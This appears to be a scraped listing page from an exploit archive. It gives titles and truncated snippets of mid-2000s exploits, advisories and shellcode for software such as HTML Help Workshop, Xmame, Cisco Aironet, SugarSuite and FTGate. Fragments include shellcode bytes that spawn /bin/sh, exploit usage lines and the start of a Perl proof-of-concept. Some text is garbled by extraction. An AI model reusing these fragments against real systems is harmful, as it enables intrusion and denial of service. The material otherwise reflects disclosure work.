[Full-disclosure] HostAdmin - Remote Command Execution Vulnerability

======================================================================================= XOR Crew :: Security Advisory 2/11/2006 ======================================================================================= HostAdmin - Remote Command Execution Vulnerability...

Microsoft HTML Help Workshop - .hhp Local Buffer Overflow (1)

Microsoft HTML Help Workshop - .hhp Local Buffer Overflow 1 / Microsoft HTML Help Workshop .hhp file Buffer Overflow Exploit by bratax http://www.bratax.be/ - greets to: all my miffm00f buddies, BuzzDee and everyone else I forgot who should be in here - thx to: Curt Wilson @ SIUC maybe you don't...

Microsoft HTML Help Workshop - '.hhp' Local Buffer Overflow (1)

/ Microsoft HTML Help Workshop .hhp file Buffer Overflow Exploit by bratax http://www.bratax.be/ - greets to: all my miffm00f buddies, BuzzDee and everyone else I forgot who should be in here - thx to: Curt Wilson @ SIUC maybe you don't know why but this exploit wouldn't exist if we didn't have...

Cisco Aironet Wireless Access Points - Memory Exhaustion ARP (Denial of Service)

// // Cisco Killer - ciskill.c // // Usage: ./ciskill device // // Author: Pasv pasvninja at gmail.com // // Credit: This exploit takes advantage of a vulnerability that was // discovered by Eric Smith on January 12, 2006 bid:16217 // // Greets to NW, zimmy, GSO, and the rest. // // Description:...

linux/x86 quick (yet conditional, eax != 0 and edx == 0) exit 4 bytes

Exploit for linux/x86 platform in category shellcode ===================================================================== linux/x86 quick yet conditional, eax != 0 and edx == 0 exit 4 bytes ===================================================================== / linux/x86 quick yet conditional, e...

Xmame 0.102 - '-pb/-lang/-rec' Local Buffer Overflow

/ xmame-expl.c by sj [email protected] On 20th of Jan it came to my attention that Xmame suffered from several buffer overflow problems. Thinking this issue was resolved, I installed Xmame on my Ubuntu laptop, from the Ubuntu repositories which installed a vulnerable version of Xmame. This is what...

Xmame 0.102 (-lang) Local Buffer Overflow Exploit (c code)

No description provided by source. / Xmame 0.102 -lang Local Buffer Overflow Exploit Coded BY Qnix [email protected] 0x11 @EFNET icq : 234263 0x11.org Advisory : http://kerneltrap.org/node/6055 e.g: Qnix ./exploit /usr/games/bin/xmame.x11 Xmame 0.102 -lang Local Buffer Overflow Exploit Coded BY Qn...

Valdersoft Shopping Cart <= 3.0 Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl cijfer-vscxpl - Valdersoft Shopping Cart =3.0 Remote Command Execution Exploit Copyright c 2005 cijfer [email protected] All rights reserved. 1. example cijfer@kalma:/research$ ./cijfer-vscxpl.pl -h www.valdersoft.com -d /store...

Super hacker interview how to attack Cisco router IOS-vulnerability warning-the black bar safety net

FX is the German hacking group Phenoelit one of the members, well versed in routing protocols. He 2 0 0 1 years with Michael and Lynn similar techniques to compromise a Cisco routerIOSoperating system. The following is his most recentinterview. 1you firstintroduce yourself? I am a German hacker,...

LiveJournal - Cleanhtml.pl HTML Injection

LiveJournal - Cleanhtml.pl HTML Injection source: https://www.securityfocus.com/bid/15990/info LiveJournal is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content...

Macromedia Flash Media Server 2 - Remote Denial of Service

/ Macromedia Flash Media Server 2 Remote D.o.S Exploit by Kozan Application: Macromedia Flash Media Server http://www.macromedia.com/software/flashmediaserver/ Vendor: Macromedia Discovered by: drinsane Exploit Coded by: Kozan Credits to ATmaCA, drinsane Web: www.spyinstructors.com Mail:...

SugarSuite Open Source <= 4.0beta Remote Code Execution Exploit (c)

No description provided by source. / gcc -o sugar sugar.c Usage ./sugar host /path/ site cmd Sugar Suite Open Source = 4.0 beta remote code execution c code coded by: pointslash v. credits: rgod, unitedasia host - hostname ex: www.sitename.com path - path ex: /sugar/ or just / site - remote...

alisveristrSQL.txt

Hi all B3g0kathackermail.com Kurdish Hacker Special Thanx All Kurdish Hackers Freedom For Ocalan!!! ----------------------------------- Alisveristr E-commerce User Login Sql İnjection Alisveristr E-commerce Admin Login Sql İnjection ----------------------------------- Site:...

SimpleBBS <= 1.1 Remote Commands Execution Exploit (c code)

No description provided by source. / SimpleBBS = v1.1 remote commands execution in c coded by: unitedasia v.Dec.7.2005 greetz: iloveyouma http://geography.about.com/library/maps/blrasia.htm http://www.lib.utexas.edu/maps/middleeastandasia/asiapol00.jpg $ gcc -o bbs bbs.c Usage ./bbs host /folder/...

vbullXSS.txt

re, submissionsatpacketstormsecurity.org. http://nshell.h15.ru/advisory's/vBulletin%203.5.1xss.txt ========================================================= = N Shell : advizory = ========================================================= PRODUCT: vBulletin 3.5.1 DESCRIPTION: vBulletin is a...

netbsd/x86 setreuid0, 0; execve"/bin//sh", ..., NULL; 30 bytes

netbsd/x86 setreuid0, 0; execve"/bin//sh", ..., NULL; 30 bytes. Shellcode exploit for netbsdx86 platform / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, setreuid0, 0; execve"/bin//sh", ..., NULL; / include include include char scode = "\x31\xc0" // xor %eax,%eax "\x50" // push %eax...

FreeFTPD <= 1.0.10 (PORT Command) Denial of Service Exploit

Exploit for unknown platform in category dos / poc =========================================================== FreeFTPD \n",argv0; exit0; printf"%s\n",L; printf"%s\n",HL; printf"%s\n",L; ifWSAStartupwsVersion=MAKEWORD2,2,&wsa printf"Error WSAStartup Error Code: %d\n",WSAGetLastError; exit1;...

solaris/sparc setreuid/execve 56 bytes

No description provided by source. / [email protected] setreuid shellcode full description of how it was done and defines at http://www.telegenetic.net/sparc-shellcode.htm / char shellcode = "\x90\x1A\x40\x09" / xor %o1, %o1, %o0 / "\x92\x1A\x40\x09" / xor %o1, %o1, %o1 / "\x82\x10\x20\xCA" /...

FTGate4 Groupware Mail Server 4.1 (imapd) Remote Buffer Overflow PoC

No description provided by source. !/usr/bin/perl use IO::Socket; print "\nFTGate Imapd BufferOverrun\nLuca Ercoli [email protected]\n"; print "http://www.lucaercoli.it\n\n\n"; $host = "localhost"; $remote = IO::Socket::INET-new Proto = "tcp", PeerAddr = $host, PeerPort = "143", ; unless $remote...

linux/x86 write(0,"Hello core! ",12); (w/optional 7 byte exit) 36 bytes

Exploit for linux/x86 platform in category shellcode ======================================================================== linux/x86 write0,"Hello core!\n",12; w/optional 7 byte exit 36 bytes ======================================================================== / writehello-core.c by Charle...